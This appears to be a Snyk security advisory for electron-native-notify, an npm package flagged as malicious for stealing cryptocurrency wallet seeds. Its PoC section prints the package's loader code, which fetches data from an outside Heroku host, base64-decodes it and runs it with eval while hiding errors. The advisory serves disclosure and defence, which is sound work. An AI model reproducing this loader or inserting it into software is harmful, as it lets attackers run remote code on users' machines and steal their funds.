Malicious Package Affecting electron-native-notify package, versions >0.0.1-security


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-ELECTRONNATIVENOTIFY-174928
  • published7 Jun 2019
  • disclosed5 Jun 2019
  • creditAdam Baldwin

Introduced: 5 Jun 2019

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)

How to fix?

Avoid using electron-native-notify altogether.

Overview

electron-native-notify is a malicious package.

This package contains malicious code and was part of a targeted attack to steal cryptocurrency wallet seeds and upload them to a remote server, effectively giving attackers access to users wallets.

PoC

try {
    (process && "renderer" === process.type ? require("electron").remote.require : require)("https").get("https://updatecheck.herokuapp.com/check", res => res.on("data", d => {
        try {
            eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d))
        } catch (e) {}
    }))
} catch (e) {}

CVSS Scores

version 3.1